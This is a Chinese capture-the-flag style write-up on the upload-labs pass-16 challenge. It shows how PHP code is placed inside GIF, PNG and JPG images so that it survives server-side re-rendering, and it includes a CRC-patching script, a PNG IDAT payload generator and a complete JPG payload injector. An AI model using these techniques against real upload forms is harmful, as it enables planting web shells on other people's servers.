安全圈 | 专注于最新网络信息安全讯息新闻

首页

labs之pass 16詳細分析

作者 landy 时间 2020-02-27
all

前記

upload-labs,是一個關於文件上傳的靶場.具體的write-up社區裏也都有文章.不過我在看了pass-16的源碼後,發現了一些有意思的東西.

分析問題

關於檢測gif的程式碼

第71行檢測$fileext和$filetype是否為gif格式.

$fileext $filetype

然後73行使用move_uploaded_file函數來做判斷條件,如果成功將檔案移動到$target_path,就會進入二次渲染的程式碼,反之上傳失敗.

move_uploaded_file $target_path

在這裡有一個問題,如果作者是想考察繞過二次渲染的話,在move_uploaded_file($tmpname,$target_path)返回true的時候,就已經成功將圖片馬上傳到服務器了,所以下麵的二次渲染並不會影響到圖片馬的上傳.如果是想考察檔案尾碼和content-type的話,那麼二次渲染的程式碼就很多餘.(到底考點在哪裡,只有作者清楚.哈哈)

move_uploaded_file($tmpname,$target_path) content-type

由於在二次渲染時重新生成了檔名,所以可以根據上傳後的檔名,來判斷上傳的圖片是二次渲染後生成的圖片還是直接由move_uploaded_file函數移動的圖片.

move_uploaded_file

我看過的writeup都是直接由move_uploaded_file函數上傳的圖片馬.今天我們把move_uploaded_file這個判斷條件去除,然後嘗試上傳圖片馬.

move_uploaded_file move_uploaded_file

上傳gif

將<?php phpinfo();?>添加到111.gif的尾部.

<?php phpinfo(); ?>

成功上傳含有一句話的111.gif,但是這並沒有成功.我們將上傳的圖片下載到本地.

可以看到下載下來的檔名已經變化,所以這是經過二次渲染的圖片.我們使用16進制編輯器將其打開.

可以發現,我們在gif末端添加的php程式碼已經被去除.

關於繞過gif的二次渲染,我們只需要找到渲染前後沒有變化的位置,然後將php程式碼寫進去,就可以成功上傳帶有php程式碼的圖片了.

經過對比,藍色部分是沒有發生變化的,

我們將程式碼寫到該位置.

上傳後在下載到本地使用16進制編輯器打開

可以看到php程式碼沒有被去除.成功上傳圖片馬

上傳png

png的二次渲染的繞過並不能像gif那樣簡單.

png檔案組成

png圖片由3個以上的數據塊組成.

PNG定義了兩種類型的數據塊,一種是稱為關鍵數據塊(critical chunk),這是標準的數據塊,另一種叫做輔助數據塊(ancillary chunks),這是可選的數據塊。關鍵數據塊定義了3個標準數據塊(IHDR,IDAT,IEND),每個PNG檔案都必須包含它們.

數據塊結構

CRC(cyclic redundancy check)域中的值是對Chunk Type Code域和Chunk Data域中的數據進行計算得到的。CRC具體算灋定義在ISO 3309和ITU-T V.42中,其值按下麵的CRC碼生成多項式進行計算:

x32+x26+x23+x22+x16+x12+x11+x10+x8+x7+x5+x4+x2+x+1

分析數據塊

IHDR

數據塊IHDR(header chunk):它包含有PNG檔案中存儲的影像數據的基本資訊,並要作為第一個數據塊出現在PNG資料流程中,而且一個PNG資料流程中只能有一個檔案頭數據塊。

檔案頭數據塊由13位元組組成,它的格式如下圖所示。

PLTE

調色板PLTE數據塊是輔助數據塊,對於索引影像,調色板資訊是必須的,調色板的顏色索引從0開始編號,然後是1、2……,調色板的顏色數不能超過色深中規定的顏色數(如影像色深為4的時候,調色板中的顏色數不可以超過2^4=16),否則,這將導致PNG影像不合法。

IDAT

影像數據塊IDAT(image data chunk):它存儲實際的數據,在資料流程中可包含多個連續順序的影像數據塊。

IDAT存放著影像真正的數據資訊,囙此,如果能够瞭解IDAT的結構,我們就可以很方便的生成PNG影像

IEND

影像結束數據IEND(image trailer chunk):它用來標記PNG檔案或者資料流程已經結束,並且必須要放在檔案的尾部。

如果我們仔細觀察PNG檔案,我們會發現,檔案的結尾12個字元看起來總應該是這樣的:

00 00 00 00 49 45 4E 44 AE 42 60 82

寫入php程式碼

在網上找到了兩種方式來製作繞過二次渲染的png木馬.

寫入PLTE數據塊

php底層在對PLTE數據塊驗證的時候,主要進行了CRC校驗.所以可以再chunk data域插入php程式碼,然後重新計算相應的crc值並修改即可.

這種管道只針對索引彩色影像的png圖片才有效,在選取png圖片時可根據IHDR數據塊的color type辨別.03為索引彩色影像.

03

在PLTE數據塊寫入php程式碼.

計算PLTE數據塊的CRCCRC腳本

import binascii import re png = open(r'2.png','rb') a = png.read() png.close() hexstr = binascii.b2a_hex(a) ''' PLTE crc ''' data = '504c5445'+ re.findall('504c5445(.*?)49444154',hexstr)[0] crc = binascii.crc32(data[:-16].decode('hex')) & 0xffffffff print hex(crc)

運行結果

526579b0

3.修改CRC值

4.驗證將修改後的png圖片上傳後,下載到本地打開

寫入IDAT數據塊

這裡有國外大牛寫的腳本,直接拿來運行即可.

<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'./1.png'); ?>

運行後得到1.png.上傳後下載到本地打開如下圖

上傳jpg

這裡也採用國外大牛編寫的腳本jpg_payload.php.

<?php /* The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled(). It is necessary that the size and quality of the initial image are the same as those of the processed image. 1) Upload an arbitrary image via secured files upload script 2) Save the processed image and launch: jpg_payload.php <jpg_name.jpg> In case of successful injection you will get a specially crafted image, which should be uploaded again. Since the most straightforward injection method is used, the following problems can occur: 1) After the second processing the injected data may become partially corrupted. 2) The jpg_payload.php script outputs "Something's wrong". If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image. Sergey Bobrov @Black2Fan. See also: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ */ $miniPayload = "<?=phpinfo();?>"; if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); } if(!isset($argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); } set_error_handler("custom_error_handler"); for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE; if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); } while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat("\0",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong'); function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; } function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } } class DataInputStream { private $binData; private $order; private $size; public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); } public function seek() { return ($this->size - strlen($this->binData)); } public function skip($skip) { $this->binData = substr($this->binData, $skip); } public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); } public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; } public function eof() { return !$this->binData||(strlen($this->binData) === 0); } } ?>

使用方法

準備

隨便找一個jpg圖片,先上傳至服務器然後再下載到本地保存為1.jpg.

1.jpg

插入php程式碼

使用腳本處理1.jpg,命令php jpg_payload.php 1.jpg使用16進制編輯器打開,就可以看到插入的php程式碼.

1.jpg php jpg_payload.php 1.jpg

上傳圖片馬

將生成的payload_1.jpg上傳.

payload_1.jpg

驗證

將上傳的圖片再次下載到本地,使用16進制編輯器打開

可以看到,php程式碼沒有被去除.證明我們成功上傳了含有php程式碼的圖片.

需要注意的是,有一些jpg圖片不能被處理,所以要多嘗試一些jpg圖片.

後記

詢問了c0ny1,pass16預期考察的確實是二次渲染,原先的題目存在一些邏輯問題,現在bug已經修改了,感謝c0ny1師傅提供和維護upload-labs這個靶場.

文章中的素材